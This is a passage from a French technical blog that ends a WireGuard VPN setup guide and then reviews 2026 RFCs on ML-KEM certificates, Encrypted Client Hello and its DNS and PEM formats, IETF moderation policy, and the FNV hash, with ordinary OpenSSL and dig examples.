trafic ne verrait pas 1.1.1.1 ou mon blog mais
uniquement qu'il y a de la communication UDP chiffrée avec
149.62.44.9 (le serveur VPN). Notez aussi que
l'utilisation du VPN permet au client de faire de l'IPv6 même si son
réseau d'accès est bloqué au XXe siècle et ne connait qu'IPv4 :
client% traceroute 2a09:: traceroute to 2a09:: (2a09::), 30 hops max, 80 byte packets 1 2a12:a301:2010::1 (2a12:a301:2010::1) 0.923 ms 0.851 ms 0.842 ms 2 * * * 3 * * * 4 * * * 5 public-dns-a.dns.sb (2a09::) 0.148 ms 0.125 ms 0.133 ms
Voilà, configurer WireGuard prend moins de temps que lire entièrement cet article. La documentation que j'ai suivie était celle de Hetzner.
Si vous observez que ping passe bien mais que les connexions
TCP (par
exemple pour le Web, ou pour SSH) s'établissent, mais sans pouvoir transférer
de données, c'est sans doute un problème de MTU (la taille compte). Dans ce cas,
un ip link set wg0 mtu 1200 va sans doute
régler le problème, le temps d'investiguer plus sérieusement (vous
pouvez aussi utiliser la directive MTU dans le
wg0.conf, ou bien mettre en
PostUp quelque chose comme iptables -t mangle -A
POSTROUTING -p tcp --tcp-flags SYN,RST SYN -o wg0 -j TCPMSS
--clamp-mss-to-pmtu, et idem en IPv6).
Ah, je n'ai pas encore parlé de la résolution
DNS. Par défaut, le résolveur n'est pas changé. S'il est
distant, le trafic DNS passera par le VPN. S'il est local (ce qui
est le cas par défaut avec systemd-resolved), il n'est pas affecté
mais le trafic du résolveur local, quand il parle aux serveurs faisant
autorité (ou bien à son forwarder), passe
par le VPN. Mais si vous êtes dans un pays où il y a un résolveur
menteur, votre résolveur local a pu être empoisonné par de fausses
réponses avant que vous ne démarriez le VPN. Bref, la configuration
idéale dépend de beaucoup de choses. Quelques notes techniques :
si vous utilisez systemd-resolved, la directive
DNS dans le wg0.conf du
client va changer le forwarder utilisé. Vous
pouvez aussi mettre :
PostUp = resolvectl dns %i 2a09::0
Et ça donnera le même résultat. Le résolveur (celui indiqué dans
/etc/resolv.conf) ne change pas mais il
transmettra (forward) désormais toutes les
requêtes à 2a09::. Trois points à retenir :
2a09:: est celui de
xTom puisqu'il est sur le même réseau que le serveur
VPN,2a09::, pas 2a09::0
(RFC 5952), mais il y a une stupide bogue
dans systemd qui affiche resolvectl[19427]: Failed to
parse DNS server address: 2a09:
resolvectl[19427]: Failed to set DNS configuration:
Invalid argument,
Revenons un peu à l'adressage et au routage IPv6. Tout dépend de ce qu'offre l'hébergeur du serveur VPN. S'il vous délègue un préfixe (sans doute un /64), et vous route tous les paquets vers ce préfixe, vous avez juste à activer le routage (et peut-être à traduire le préfixe, si vous utilisez des adresses privées en interne, cf. RFC 6296), c'est la situation idéale (mais extrêmement rare sur un hébergement bon marché). Si vous avez un préfixe mais qu'il n'y a pas de route chez l'hébergeur vers votre machine, vous devrez le configurer en proxy NDP (je vous laisse faire l'exercice). Et si vous n'avez pas un préfixe, juste une adresse IP, ce qui était mon cas, il fallait utiliser les ULA. Les ULA sont des adresses privées, comme on peut le vérifier en demandant au RIR :
client% whois -h whois.ripe.net fd00:666:ab::1 … inet6num: fc00::/7 netname: IANA-BLK descr: Unique Local Addresses (ULAs) country: EU # Country is really world wide remarks: This network should never be routed outside an enterprise remarks: See RFC4193 for further information
Deux points techniques pour finir, notamment sur la comparaison avec d'autres solutions de VPN :
Amusez-vous bien avec le VPN et n'en profitez pas pour regarder des sites Web illégaux.
Date de publication du RFC : Mars 2026
Auteur(s) du RFC : S. Turner (sn3rd), P. Kampanakis, J. Massimo (AWS), B. E. Westerbaan (Cloudflare)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF lamps
Première rédaction de cet article le 7 mars 2026
Ce RFC spécifie comment mettre des clés ML-KEM dans un certificat X.509. Vous allez me dire « Mais ML-KEM est un algorithme d'échange de clés, pas de signature, que fait-il dans un certificat ? » Et je vous répondrai que vous avez raison, d'ailleurs le RFC restreint sérieusement ce qu'on peut faire avec cet algorithme.
ML-KEM a l'intéressante propriété d'être résistant aux calculateurs quantiques. Il est normalisé dans FIPS 203. Ce RFC permet de l'utiliser dans les certificats normalisés dans le RFC 5280, et il décrit trois variantes, ML-KEM-512, ML-KEM-768 et ML-KEM-1024.
Comme indiqué plus haut, autant il était normal de permettre ML-DSA dans les certificats (RFC 9881), autant cela peut sembler surprenant pour ML-KEM. La section 1.1 de notre RFC explique les usages (limités) d'un algorithme d'échange de clés dans un certificat. C'est par exemple utile pour un protocole où vous avez besoin d'une clé publique, que vous allez tirer du certificat. Mais vous ne pourrez pas utiliser les certificats de ce RFC pour faire du TLS sur l'Internet public, aucune AC ne vous en produira, même si TLS le permet un jour. Pour la même raison, vous n'en trouverez pas dans les journaux Certificate Transparency.
Les trois algorithmes sont identifiés en suivant le RFC 5912, par un OID via le NIST ; Ce sont
id-alg-ml-kem-512
(2.16.840.1.101.3.4.4.1),
id-alg-ml-kem-768
(2.16.840.1.101.3.4.4.2) et
id-alg-ml-kem-1024
(2.16.840.1.101.3.4.4.3).
La section 5 du RFC précise que les bits indiquant les utilisations possibles de ces certificats (RFC 5280, section 4.2.1.3) doivent indiquer uniquement le chiffrement d'une clé (et pas l'authentification, comme avec les certificats habituels).
Le module ASN.1 figure dans l'annexe A, si
vous voulez implémenter ce RFC (il faut aussi importer les modules
des RFC 5912 et RFC 9629). Le module est identifié
par id-mod-x509-ml-kem-2025 et a l'OID
1.3.6.1.5.5.7.0.121. Le gros du RFC est
constitué d'exemples de clés et de certificats ML-KEM (annexe C),
dans l'encodage en texte du RFC 7468.
Allez, un peu de pratique avec OpenSSL 3.5 :
% openssl genpkey -algorithm ML-KEM-512 -out ml-kem-key.pem -outform PEM % cat ml-kem-key.pem -----BEGIN PRIVATE KEY----- MIIGvgIBADALBglghkgBZQMEBAEEggaqMIIGpgRAOwWCnP71SklfOIuwiLrIddsm Up4AlOMwvwjqCy4PHr8fSq5jRjFoP6XYXnl8IQCR9HhzSRVffI09hBezOUrmxgSC … # Analysons cette clé : % openssl pkey -text -in ml-kem-key.pem # Demandons une signature du certificat : % openssl req -new -key ml-kem-key.pem -provider default -out req.csr … 40E7CEC0027F0000:error:03000096:digital envelope routines:do_sigver_init:operation not supported for this keytype:../crypto/evp/m_sigver.c:305:
Ah, là, c'est raté, et c'est logique. OpenSSL n'accepte pas de fabriquer un CSR pour ces clés « operation not supported for this keytype » puisque ML-KEM ne permet pas de signer. La solution :
# Extraire la clé publique :
% openssl pkey -in ml-kem-key.pem -pubout -out mlkem.pub
# Fabriquer une clé ECDSA pour signer :
% openssl ecparam -out ec_key.pem -name secp256r1 -genkey
# Signer :
% openssl x509 -new \
-subj "/CN=test-mlkem" \
-force_pubkey mlkem.pub \
-signkey ec_key.pem \
-days 365 \
-out mlkem-cert.pem
Warning: Signature key and public key of cert do not match
L'avertissement est normal, puisqu'on a effectivement utilisé une autre clé, d'un autre algorithme, pour signer le certificat contenant notre clé publique ML-KEM. Mais tout s'est bien passé :
% openssl x509 -text -in mlkem-cert.pem
Certificate:
Data:
Version: 3 (0x2)
Serial Number:
69:33:f9:1e:e5:34:64:84:d9:f4:b2:15:3b:50:ec:36:db:0b:71:5c
Signature Algorithm: ecdsa-with-SHA256
Issuer: CN=test-mlkem
Validity
Not Before: Feb 16 15:30:02 2026 GMT
Not After : Feb 16 15:30:02 2027 GMT
Subject: CN=test-mlkem
Subject Public Key Info:
Public Key Algorithm: ML-KEM-512
ML-KEM-512 Public-Key:
ek:
d8:d2:6c:c4:9b:96:48:23:0d:ce:f7:0d:b3:0b:85:
…
X509v3 extensions:
X509v3 Subject Key Identifier:
E7:B2:03:92:37:EC:C6:35:E4:F0:2E:AC:4E:1C:F2:81:67:F7:95:29
X509v3 Authority Key Identifier:
15:E5:2A:5E:B1:C3:50:69:7E:E4:48:EA:0F:DD:3C:5C:90:4B:7C:CC
Signature Algorithm: ecdsa-with-SHA256
Date de publication du RFC : Mars 2026
Auteur(s) du RFC : S. Farrell (Trinity College Dublin)
Chemin des normes
Première rédaction de cet article le 5 mars 2026
La technique ECH (Encrypted Client Hello) permet de boucher une faille de TLS, la transmission en clair du nom du serveur demandé. Elle est normalisée dans le RFC 9849 mais il y manquait la description d'un format standard pour envoyer les données nécessaires à ECH. C'est désormais fait (et vous reconnaitrez le classique format PEM, cf. RFC 7468).
Le principe d'ECH
est de chiffrer le
nom du serveur demandé,
avec la clé
publique du serveur TLS. Pour configurer le serveur, il faut la
clé privée correspondante et différents détails, la
ECHConfig (RFC 9849,
section 4). C'est pour ECHConfig que notre RFC
normalise un format.
Le fichier PEM (RFC 7468) contient une ou plusieurs clés privées et des informations de configuration (pour un ou plusieurs serveurs), le tout en Base64 (section 4 du RFC 4648). Les informations publiques sont typiquement mises dans le DNS (RFC 9848), la clé privée, cela va sans dire (mais le RFC le dit quand même, on ne sait jamais) n'est pas publiée. Un fichier PEM contenant des clés privées doit évidemment être bien protégé.
Voici un exemple, tiré du RFC (la clé privée a donc déjà été publiée 😁) :
-----BEGIN PRIVATE KEY----- MC4CAQAwBQYDK2VuBCIEICjd4yGRdsoP9gU7YT7My8DHx1Tjme8GYDXrOMCi8v1V -----END PRIVATE KEY----- -----BEGIN ECHCONFIG----- AD7+DQA65wAgACA8wVN2BtscOl3vQheUzHeIkVmKIiydUhDCliA4iyQRCwAEAAEA AQALZXhhbXBsZS5jb20AAA== -----END ECHCONFIG-----
Dans le DNS, la publication de la clé publique et de la configuration donnerait quelque chose du genre :
% dig +short HTTPS foo.example.com 1 . ech=AD7+DQA65wAgACA8wVN2BtscOl3vQheUzHeIkVmKIiydUhDCliA4iyQRwAEAAEAAQALZXhhbXBsZS5jb20AAA==
Bien des logiciels reconnaissent cette syntaxe. Je ne les ai pas testés mais, apparemment :
test/ech_test.c, avec des exemples du format
de ce RFC. Apache ou
HAProxy peuvent l'utiliser.Date de publication du RFC : Mars 2026
Auteur(s) du RFC : E. Rescorla (Knight-Georgetown Institute), K. Oku (Fastly), N. Sullivan
(Cryptography Consulting), C. A. Wood (Cloudflare)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF tls
Première rédaction de cet article le 4 mars 2026
La cryptographie est indispensable à la sécurité dans l'Internet d'aujourd'hui. Mais sa mise en œuvre peut être délicate, par exemple lorsqu'il y a un problème d'œuf et de poule : quand un client TLS se connecte, il envoie en clair au serveur le nom de domaine utilisé, le serveur ayant besoin de cette information pour choisir le bon certificat qui servira pour choisir les paramètres de chiffrement qui protégeront le reste de la session. Cet envoi en clair pose un problème de vie privée, et est parfois utilisé pour la censure, par exemple en Russie. Il faut donc chiffrer ce nom annoncé, ce SNI. Mais avec quelle clé, puisqu'on a besoin du nom pour avoir une clé ? Ce RFC fournit un mécanisme pour cela, ECH (Encrypted Client Hello), qu'on pourrait traduire par « salutation chiffrée ».
Pour voir une communication TLS classique, avant ECH, vous pouvez
regarder un pcap, . Le quatrième paquet contient le Client
Hello, avec (vu par Wireshark) :
sni.pcap
Extension: server_name (len=20) name=www.langtag.net
Le nom demandé est donc en clair. Pas bien. C'est ainsi qu'en Russie, le système TSPU (ТСПУ, технические средства противодействия угрозам, mesures techniques de protection) détecte les noms censurés dans le SNI et envoie un faux paquet TCP RST (ReSeT). C'est mis en œuvre, par exemple, dans les boitiers SORM.
Un petit avertissement tout de suite : on lit assez souvent que la version 1.3 de TLS (normalisée dans le RFC 8446) chiffre ce SNI. C'est faux et, si vous lisez cela dans un article, vous saurez que l'auteur ne vérifie pas ce qu'il raconte. TLS 1.3 chiffre davantage de choses que les versions précédentes, mais pas le SNI.
C'est que chiffrer le SNI, ou, encore mieux, tout le Client Hello, est compliqué puisque le client doit obtenir une clé publique du serveur, avant d'avoir pu lui indiquer le nom de domaine souhaité. Il faut donc au client une autre clé publique que celle du certificat. Notez qu'il n'y a pas que le SNI qui est sensible, l'ALPN (RFC 7301) l'est aussi, et c'est pour cela que le choix de notre RFC est de chiffrer tout le message Client Hello. Toujours côté analyse de la menace, notez qu'ECH n'est utile que si le même serveur TLS gère plusieurs domaines. S'il n'en a qu'un, un observateur saura lequel, juste par l'adresse IP du serveur. ECH vise à empêcher cet observateur de savoir quel domaine était choisi, au sein d'un anonymity set, l'ensemble des domaines hébergés sur ce serveur.
Le RFC est long mais le principe d'ECH est simple. (Au fait, le cahier des charges d'ECH est dans le RFC 8744.) La section 3 le résume. ECH a deux modes, shared et split mais qui fonctionnent de manière très proche. Pour les configurations simples (le serveur est composé d'une seule machine), shared suffit. Pour les cas où le « serveur » est en fait composé de deux machines, une frontale (qui relaie le TLS sans l'interpréter) et une dorsale, le split est utilisé. Oubliez cela tout de suite, si c'est important pour vous, voyez la section 10 du RFC pour les détails (et rappelez-vous d'un point de terminologie TLS : « terminer » une session TLS, ce n'est pas y mettre fin, c'est juste être l'extrémité de la session).
On l'a dit, toute la difficulté d'ECH est que le serveur doit
publier une clé qui permettra le chiffrement du
ClientHello. Notre RFC n'impose pas une manière
unique de la publier. Elle peut être manuellement et statiquement
configurée chez le client, par exemple. Mais la méthode qui sera
sans doute la plus courante est une publication dans le DNS, via les enregistrements
SVCB (RFC 9848). (En fait, le serveur va publier une clé et des
métadonnées associées.) Une fois muni de cette clé, le client
chiffre son Client Hello et met le message
chiffré (ClientHelloInner, dit le RFC) dans une
extension du Client Hello normal (appelé
ClientHelloOuter dans le RFC), extension nommée
encrypted_client_hello (enregistrée avec
le numéro 65037). Le serveur va déchiffrer l'extension,
récupérant le bon nom de domaine, et continuera ensuite comme
d'habitude.
Notez que le client doit bien mettre un nom de domaine dans le
SNI du ClientHelloOuter (envoyé en clair). La
section 6.1 du RFC détaille ce qu'il faut placer dans cette
« salutation chiffrée ».
Et voici le pcap produit : . Le client annonce un nom
ech.pcapcover.defo.ie dans le SNI mais le vrai nom
(defo.ie) est dans l'extension ECH (et vous ne
le voyez pas, bien sûr, il est chiffré) :
Extension: encrypted_client_hello (len=473)
Type: encrypted_client_hello (65037)
Length: 473
Client Hello type: Outer Client Hello (0)
Cipher Suite: HKDF-SHA256/AES-128-GCM
Config Id: 185
Enc length: 32
Enc: 6acfeceeea540b510bad0b28f5a9913af4e52cbdc1496750d91658d1e2200a3e
Payload length: 431
Payload [truncated]: b8f50aa3492607d8c05c1150b4f12496cf3910468ed82e775c0c0d64…
Et un exemple de requête DNS pour récupérer la clé ECH :
% dig tls-ech.dev HTTPS ; <<>> DiG 9.18.18-0ubuntu0.22.04.2-Ubuntu <<>> tls-ech.dev HTTPS ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 33050 ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1 ;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags: do; udp: 1472 ;; QUESTION SECTION: ;tls-ech.dev. IN HTTPS ;; ANSWER SECTION: tls-ech.dev. 60 IN HTTPS 1 . ech=AEn+DQBFKwAgACABWIHUGj4u+PIggYXcR5JF0gYk3dCRioBW8uJq9H4mKAAIAAEAAQABAANAEnB1YmxpYy50bHMtZWNoLmRldgAA ;; Query time: 132 msec ;; SERVER: 192.168.0.254#53(192.168.0.254) (UDP) ;; WHEN: Mon Apr 15 18:46:04 CEST 2024 ;; MSG SIZE rcvd: 134
(Pour Cloudflare, regardez cloudflare-ech.com,
le nom choisi par cette entreprise pour ECH.)
À ce stade, vous savez l'essentiel. Lisez le RFC si vous voulez les détails de syntaxe (sections 5 à 7). Voyons plutôt le problème de déploiement pratique dans l'Internet (section 8 du RFC). ECH nécessite de changer clients et serveurs et nous pouvons être sûrs qu'il y aura une longue période de coexistence de logiciels ECH et non-ECH. On verra sans doute aussi des cafouillages comme un serveur qui publie une clé pour ECH mais ne gère pas ECH (le RFC prévoit un mécanisme de détection de ce problème et de ré-essai - section 6.1.6 - dans ce cas, si bien que le serveur qui ferait cette erreur imposera un délai de connexion plus long à ses clients).
Pour éviter que l'utilisation de ECH se remarque trop, le RFC spécifie également (section 2) comment graisser (RFC 9170) les communications TLS afin de rendre plus difficile la détection des vrais usages.
Ah, et le RFC précise, avec un humour discret, qu'ECH va casser « certains usages », euphémisme pour désigner la surveillance mais aussi la censure, que le SNI en clair permettait (pour la censure, on fait du DPI et, si on trouve un nom censuré dans un SNI, on envoie un message TCP RST - ReSeT - mensonger au client). Cela a déjà fait l'objet de critiques, regrettant qu'on ne puisse plus espionner autant.
Cette technique de censure (DPI puis envoi d'un RST TCP si on trouve un nom censuré) est rare en Europe mais très répandue en Russie, notamment depuis le début de la guerre. ECH permet de l'empêcher.
Le but d'ECH est d'améliorer la sécurité de TLS, il n'est donc pas étonnant que la section d'analyse de sécurité, la section 10, soit très détaillée. Elle commence par expliquer le modèle de menace (un attaquant situé sur le trajet, qui peut être actif, capable d'injecter des paquets). ECH empêchera cet attaquant de savoir quel service était demandé, parmi tous ceux hébergés à cette adresse IP (et cela a été formellement prouvé dans « A Symbolic Analysis of Privacy for TLS 1.3 with Encrypted Client Hello »). Mais il reste des pièges.
ECH peut récupérer la clé du serveur dans le DNS (c'est en tout cas la méthode par défaut) mais n'impose pas DNSSEC donc un attaquant qui peut injecter de faux enregistrements DNS peut casser ECH. La solution est évidemment d'utiliser DNSSEC. (Le RFC note aussi que, si l'attaquant est sur le réseau local de la victime, utiliser DoT ou DoH pour la résolution de noms va aider.)
Certaines extensions de TLS peuvent défaire ECH, par exemple la
cached_info du RFC 7924. Elles ne
doivent pas être utilisées dans le
ClientHelloOuter. ALPN peut aussi être
révélateur si un client envoie des ALPN différents à différents
serveurs. Là encore, ne pas le mettre dans le
ClientHelloOuter.
La vérification du certificat contient également des risques, si on utilise OCSP, dont la requête peut trahir le nom du serveur contacté.
Le RFC note à juste titre qu'un observateur indélicat a d'autres moyens à sa disposition pour découvrir le domaine demandé. Le plus évident est le DNS (cf. RFC 7626), et il faut donc utiliser les mécanismes de protection de la vie privée (RFC 7858, RFC 8484, mais aussi RFC 9156, que le RFC sur ECH a malencontreusement oublié).
Et il y a bien d'autres faiblesses possibles si on utilise mal ECH, lisez la section 10 si vous voulez en savoir plus, vous apprendrez plein de choses.
ECH a été défini il y a déjà plusieurs années. (Le projet ECH à
l'IETF
a duré bien plus longtemps que prévu. Ce RFC a commencé
sa vie en 2018.) Il existe de nombreuses mises en œuvre. On
le trouve par exemple dans Firefox (cf. leur documentation « Comprendre
le client chiffré Hello (ECH) » ou bien le
wiki pour des détails pointus). Les bibliothèques TLS en
logiciel libre, comme BoringSSL ou
OpenSSL ont souvent ECH (mais pas forcément
dans une version officielle et publiée). Si vous voulez tester si votre client TLS
gère ECH, il existe plusieurs sites Web pour cela : , https://defo.ie/ech-check.php ou https://tls-ech.dev/. Côté
serveur, c'est en cours, par exemple pour Apache, il y a eu du code,
publié à partir de la version 2.5.1 (paramètre https://www.cloudflare.com/ssl/encrypted-sni/SSLECHKeyDir). Et
nginx a eu ECH en
février 2026.
Pour tester vos serveurs, vous pouvez utiliser curl si vous avez un curl récent, compilé
avec les bonnes options. Car, sinon (sur un
Arch à jour) :
% curl --ech true tls-ech.dev curl: option --ech: the installed libcurl version does not support this
Pour davantage de tests, il y a echspec :
% echspec www.bortzmeyer.org TLS Encrypted Client Hello Server … HTTPS resource record for www.bortzmeyer.org does NOT have ech SvcParams. 1 failure
(Pas d'ECH encore sur ce blog mais ça n'aurait guère d'intérêt puisque peu de sites sont sur ce serveur.)
% echspec tls-ech.dev TLS Encrypted Client Hello Server … Failures: 1) MUST abort with an "illegal_parameter" alert, if ECHClientHello.type is not a valid ECHClientHelloType in ClientHelloOuter. [7-5] https://datatracker.ietf.org/doc/html/draft-ietf-tls-esni-22#section-7-5 did not send expected alert: illegal_parameter 1 failure
À part un point de détail subtil, tout va bien.
Par
contre, ne
teste pas l'ECH. Dommage.
https://ssllabs.com
Quelques lectures intéressantes :
Date de publication du RFC : Mars 2026
Auteur(s) du RFC : B. Schwartz (Meta Platforms), M. Bishop, E. Nygren (Akamai Technologies)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF tls
Première rédaction de cet article le 4 mars 2026
Le protocole ECH (Encrypted Client Hello, normalisé dans le RFC 9849) permet de chiffrer la salutation TLS (le ClientHello), notamment le nom du serveur auquel on se connecte. Mais pour cela, il faut la clé publique du serveur. Un des moyens de la récupérer est dans le DNS, comme normalisé dans notre RFC 9848.
C'est qu'ECH pose un problème de cercle vicieux : le serveur TLS (RFC 9846) a besoin du nom demandé par le client pour choisir le bon certificat, donc la bonne clé or, si on veut chiffrer ce nom, il nous faut bien une clé. ECH (RFC 9849) résout le problème en disant que le client TLS va récupérer une clé publique distincte de celle contenue dans le certificat, quelque part. Où ça ? Le RFC 9849 ne le dit pas, mais plusieurs solutions existent, dont notre nouveau RFC qui propose de récupérer cette clé dans le DNS.
Il s'appuie sur les enregistrements SVCB du RFC 9460. Ces enregistrements permettent d'indiquer un grand nombre de paramètres, sous une forme nom=valeur (les « SvcParams »). Les enregistrements HTTPS sont une des formes des SVCB et c'est en général eux qui seront utilisés pour ECH :
% dig defo.ie HTTPS
…
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 44251
;; flags: qr rd ra ad; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
…
;; ANSWER SECTION:
defo.ie. 1750 IN HTTPS 1 . ipv4hint=213.108.108.101 ech=AMD+DQA8ngAgACCBNprc0M4mwJt8Z+q6DtisBc3nQQUwLcEvepAUv27sLQAEAAEAAQANY292ZXIuZGVmby5pZQAA/g0APJsAIAAg4dzhbvv/9BNikgK3mrvQwKGdWhTiXwd9jpkNhgJ2rgkABAABAAEADWNvdmVyLmRlZm8uaWUAAP4NADzTACAAIEwBExilsbqu9AdG7lutdyZQrIm6Lo4fErwINXCylJNDAAQAAQABAA1jb3Zlci5kZWZvLmllAAA= ipv6hint=2a00:c6c0:0:116:5::10
…
Que voit-on ? Que defo.ie a bien un
enregistrement de type HTTPS (dont je rappelle qu'il est une
spécialisation du SVCB), qui contient un paramètre ECH (la clé
publique et quelques autres informations, mais je ne connais pas de
moyen simple d'afficher ces informations).
La section 3 est l'essentiel du RFC. Elle définit le paramètre
(« SvcParam ») ech, dont la valeur est la clé
publique ECH du serveur TLS. Plus précisément, sa valeur est une
« ECHConfigList », concept créé par le RFC 9849 (cf. sa section 4), et qui décrit tous les paramètres
utiles pour faire de l'ECH. Ce paramètre a été ajouté au registre
IANA des SvcParams (section 9 de notre RFC).
Si vous voulez fabriquer vous-même un tel enregistrement, la documentation d'Apache donne des explications (mais il faudra des versions très récentes des logiciels et probablement compilées par vous-même avec les bonnes options).
La section 4 du RFC décrit les conditions d'un déploiement
efficace, côté serveur. Si on publie un enregistrement SVCB incluant
du ech, il faut évidemment s'assurer que le
serveur TLS gère ECH. (Un exemple d'outil qui fait ce genre de
vérification est echspec.) La
section 5 du RFC fait la même chose, mais côté client ; elle
discute notamment des questions de latence puisqu'un client TLS ne
peut pas paralléliser la récupération de l'enregistrement DNS avec
l'établissement de la session TLS, celle-ci dépendant de ce qu'on
trouvera dans l'enregistrement SVCB.
Il existe un autre moyen d'influencer la session TLS, c'est le
champ HTTP Alt-Svc: du RFC 7838. Comme le note la section 6,
Alt-Svc: ne peut pas actuellement indiquer de
paramètres ECH donc pas de risque de contradiction entre les deux
moyens d'obtenir des paramètres TLS sur ce point. En revanche, le
serveur doit veiller à ce qu'il publie des enregistrements SVCB avec
ECH pour tous les noms qui seraient mentionnés dans le
Alt-Svc:.
Et puis, bien sûr (section 8), rappelez-vous que ECH servant à dissimuler le nom du serveur demandé, il ne servirait plus à grand'chose si la requête DNS pour ce nom (et le type HTTPS ou SVCB) était en clair et/ou envoyée à des serveurs qui ne sont pas dignes de confiance. Le RFC recommande donc des connexions DNS chiffrées et authentifiées, avec un résolveur de confiance.
Date de publication du RFC : Février 2026
Auteur(s) du RFC : L. Eggert (Mozilla), E. Lear (Cisco
Systems)
Réalisé dans le cadre du groupe de travail IETF modpod
Première rédaction de cet article le 2 mars 2026
Comme toute organisation humaine, l'IETF doit gérer le cas de personnes pénibles, qui font perdre du temps à tout le monde, mettent une mauvaise ambiance ou cherchent activement à perturber le travail commun. Ce RFC (qui remplace les RFC 3683 et RFC 3934) établit la politique de l'IETF vis-à-vis de ces gens : être patient mais pas trop.
Les principes de base de la gestion des abusifs sont les principes de l'IETF (RFC 3935 et RFC 7154). Il ne s'agit pas d'empêcher les désaccords (ils sont attendus et sains). L'IETF est une organisation très ouverte et ses participant·es sont divers·es. On recherche un consensus approximatif (RFC 7282) mais, bien sûr, s'opposer au consensus n'est pas en soi un problème. L'IETF n'est pas une religion. Mais certains vont « sortir des clous ». L'annexe B du RFC donne quelques exemples (messages hors-sujet sur un groupe, ton agressif, remise en cause permanente des décisions et une pratique que je ne connaissais pas, le sealioning). L'IETF devra réagir, en suivant ces lignes directrices :
Le travail de contrôle reposera essentiellement sur l'équipe de contrôle (moderation team), décrite en section 2. Elle comportera au moins cinq personnes, nommées par l'IESG, qui devra essayer de respecter une certaine diversité. Ces personnes ne doivent pas être membres de l'IESG ou de l'IAB. La diversité souhaitée inclut celle des fuseaux horaires car l'équipe devra parfois réagir vite. L'IETF LLC, la structure administrative décrite dans le RFC 8711, se chargera de leur financer une formation.
Leur travail couvrira toutes les discussions publiques en ligne à l'IETF, qu'elles soient sur une liste de diffusion, un dépôt GitHub, etc. Le RFC distingue les administrateurs, qui gèrent un de ces lieux de discussion, de l'équipe de contrôle. Les administrateurs signalent les problèmes et appliquent les décisions de l'équipe de contrôle. Mais, évidemment, pour éviter de surcharger cette équipe, les administrateurs sont aussi censés gérer la plupart des problèmes localement. L'idée derrière l'équipe centrale (moderators) est d'avoir un groupe formé et qui pourra s'assurer d'une politique cohérente au niveau de l'IETF. Vu la taille de l'IETF, les contrôleurs ne pourront pas tout surveiller préventivement et dépendront donc beaucoup des signalements faits, par exemple par les administrateurs.
Vous ne l'avez peut-être pas noté plus haut mais le mot important est « publiques ». L'équipe de contrôle ne va pas gérer les communications privées. Par ailleurs, elle contrôle des comportements, pas le contenu (donc, pas la peine de lui demander de censurer telle ou telle partie d'un Internet-Draft). Quand au spam, il est effectivement un exemple de comportement perturbateur mais il y a déjà une politique à ce sujet.
Ce sera à l'équipe de contrôle de définir ses processus de fonctionnement et ses détails de politique, pour ce qui n'est pas déjà couvert dans ce RFC 9945. Tout cela devra évidemment être discuté au sein de l'IETF et, au bout du compte, approuvé par l'IESG et rendu public (mais pas forcément dans un RFC).
Qu'est-ce que pourra faire en pratique l'équipe de contrôle ? Le RFC donne quelques exemples (section 4) :
Et l'équipe de contrôle devra évidemment garder trace de ces actions, pour en rendre compte. Et des appels sont possibles (RFC 2026, sections 6.5.1 et 6.5.4).
Il y a d'autres fonctions dans l'IETF qui ont un rapport avec cette nécessité de contrôler les débordements de certains participants (section 5). C'est le cas de l'ombudsteam et de l'incarnation administrative de l'IETF, la LLC (notamment si le comportement de certains entraine des risques juridiques pour l'IETF). Il y a aussi plein d'autres RFC à lire, comme le RFC 7776, sur les mesures contre le harcèlement ou le RFC 9245, sur la gestion des listes de diffusion (rappelez-vous que l'équipe de contrôle ne sera pas limitée à ces listes).
Le RFC remarque à juste titre (section 6) que toute politique peut être utilisée de manière abusive, par exemple à des fins de censure. La section 6 revient sur les différentes décisions décrites par le RFC et comment elles contribuent à minimiser ce risque.
Notez que ce RFC s'applique à l'IETF uniquement, et pas aux autres organisations proches comme l'IRTF.
Enfin, l'annexe A explique les motivations derrière ce RFC et le pourquoi des différents choix. Malgré la quantité de RFC et de décisions documentées, il n'était pas toujours évident de reconnaitre ce qui était un comportement perturbateur. Et les processus existants étaient trop lents, en partie parce qu'ils supposaient que tout le monde était de bonne foi. D'où ce nouveau RFC qui explique comment un meilleur mécanisme va être défini.
Date de publication du RFC : Février 2026
Auteur(s) du RFC : G. Fowler (Google), L. Noll (Cisco
Systems), K. Vo (Google), D. Eastlake
(Independent), T. Hansen
(AT&T)
Pour information
Première rédaction de cet article le 28 février 2026
L'algorithme de condensation FNV, présenté dans ce RFC n'est pas neuf (et certains disent même qu'il est dépassé). Mais il est utilisé par de nombreux logiciels alors qu'il n'avait jamais été spécifié « proprement ». Voilà qui est fait.
FNV a comme principal avantage ses performances : il est rapide et le code est court. Comme le précise le titre du RFC, il n'a pas les caractéristiques des algorithmes de condensation utilisés pour des services de sécurité. Mais cela ne l'empêche pas d'être déployé depuis de nombreuses années pour bien d'autres usages.
Le RFC fait 137 pages mais ne vous affolez pas, FNV est simple et l'essentiel de ces pages est composé de code mettant en œuvre FNV de diverses manières. J'emprunte au RFC, section 2 (avec les modifications de l'article de Wikipédia pour que ce soit plus clair) l'essentiel de l'algorithme, en pseudo-code :
algorithm fnv-1 is
hash := FNV_offset_basis
for each byte_of_data to be hashed do
hash := hash × FNV_prime
hash := hash XOR byte_of_data
return hash
C'est court et rapide, non ? Mais, et le RFC le rappelle plusieurs fois (car des critiques sérieuses du projet de RFC avait insisté sur cette question) : cet algorithme ne doit pas être utilisé pour le cas où on veut de la résistance aux attaques comme la pré-image (section 1.1 du RFC). Ainsi, Python utilisait FNV mais a arrêté.
Qu'est-ce qui fait que FNV se retrouve qualifié de « non-cryptographique » et pas utilisable pour la sécurité ? La section 1.3 liste les limites de FNV (voir aussi la section 6) comme le fait que chaque bit du condensat ne dépend pas de tous les bits de la donnée d'entrée ou comme le fait que FNV est trop rapide. Oui, pour la sécurité, cela peut être un problème : si on utilise une fonction pour condenser des mots de passe, on ne veut pas faciliter la tâche de l'attaquant qui va chercher un mot de passe ayant ce condensat, en essayant beaucoup de mots de passe possibles. Une fonction de condensation a donc intérêt à être lente, comme Argon 2 (RFC 9106).
